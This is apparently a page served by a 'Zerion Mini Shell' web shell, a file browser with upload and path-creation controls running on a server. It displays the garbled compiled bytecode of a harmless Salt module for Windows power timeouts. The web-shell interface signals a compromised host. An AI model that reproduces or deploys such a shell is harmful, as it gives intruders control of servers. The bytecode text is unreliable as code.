%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/states/win_powercfg.pyo

�
���^c@@swdZddlmZmZmZddlZddlZddlZej	e
�ZdZd�Z
ddd�ZdS(u

This module allows you to control the power settings of a windows minion via
powercfg.

.. versionadded:: 2015.8.0

.. code-block:: yaml

    # Set timeout to 30 minutes on battery power
    monitor:
        powercfg.set_timeout:
            - value: 30
            - power: dc
i(tabsolute_importtunicode_literalstprint_functionNupowercfgcC@s tjjj�stdfStS(u
    Only work on Windows
    u&PowerCFG: Module only works on Windows(tsalttutilstplatformt
is_windowstFalset__virtualname__(((s</usr/lib/python2.7/site-packages/salt/states/win_powercfg.pyt__virtual__s
uaccC@s:i|d6td6dd6id6}|j�}|dkrlt|d<d
j|�|d<tj|d�|S|j�}|dkr�t|d<d
j|�|d<tj|d�|Stdj|�d|�}|||krdj|j�|j�|�|d<|Sdj|j�|j�|�|d<t	drHd|d<|Stdj|�d|d|d|�tdj|�d|�}tjj
j||�}|r�i||6|d<dj|j�|j�|�|d<tj|d�nDi|d<dj||j�|�|d<tj|d�t|d<|S(u�
    Set the sleep timeouts of specific items such as disk, monitor, etc.

    Args:

        name (str)
            The setting to change, can be one of the following:

                - ``monitor``
                - ``disk``
                - ``standby``
                - ``hibernate``

        value (int):
            The amount of time in minutes before the item will timeout

        power (str):
            Set the value for AC or DC power. Default is ``ac``. Valid options
            are:

                - ``ac`` (AC Power)
                - ``dc`` (Battery)

        scheme (str):
            The scheme to use, leave as ``None`` to use the current. Default is
            ``None``. This can be the GUID or the Alias for the Scheme. Known
            Aliases are:

                - ``SCHEME_BALANCED`` - Balanced
                - ``SCHEME_MAX`` - Power saver
                - ``SCHEME_MIN`` - High performance

    CLI Example:

    .. code-block:: yaml

        # Set monitor timeout to 30 minutes on Battery
        monitor:
          powercfg.set_timeout:
            - value: 30
            - power: dc

        # Set disk timeout to 10 minutes on AC Power
        disk:
          powercfg.set_timeout:
            - value: 10
            - power: ac
    unameuresultuucommentuchangesumonitorudiskustandbyu	hibernateu"{0}" is not a valid settinguacudcu"{0}" is not a power typeupowercfg.get_{0}_timeouttschemeu.{0} timeout on {1} power is already set to {2}u+{0} timeout on {1} power will be set to {2}utestupowercfg.set_{0}_timeoutttimeouttpoweru#{0} timeout on {1} power set to {2}u-Failed to set {0} timeout on {1} power to {2}(umonitorudiskustandbyu	hibernate(uacudcN(tTruetlowerRtformattlogtdebugt__salt__t
capitalizetuppert__opts__tNoneRRtdatat
compare_dicts(tnametvalueRR
trettoldtnewtchanges((s</usr/lib/python2.7/site-packages/salt/states/win_powercfg.pytset_timeout(sV1







(t__doc__t
__future__RRRtloggingtsalt.utils.dataRtsalt.utils.platformt	getLoggert__name__RRR	RR(((s</usr/lib/python2.7/site-packages/salt/states/win_powercfg.pyt<module>s		

Zerion Mini Shell 1.0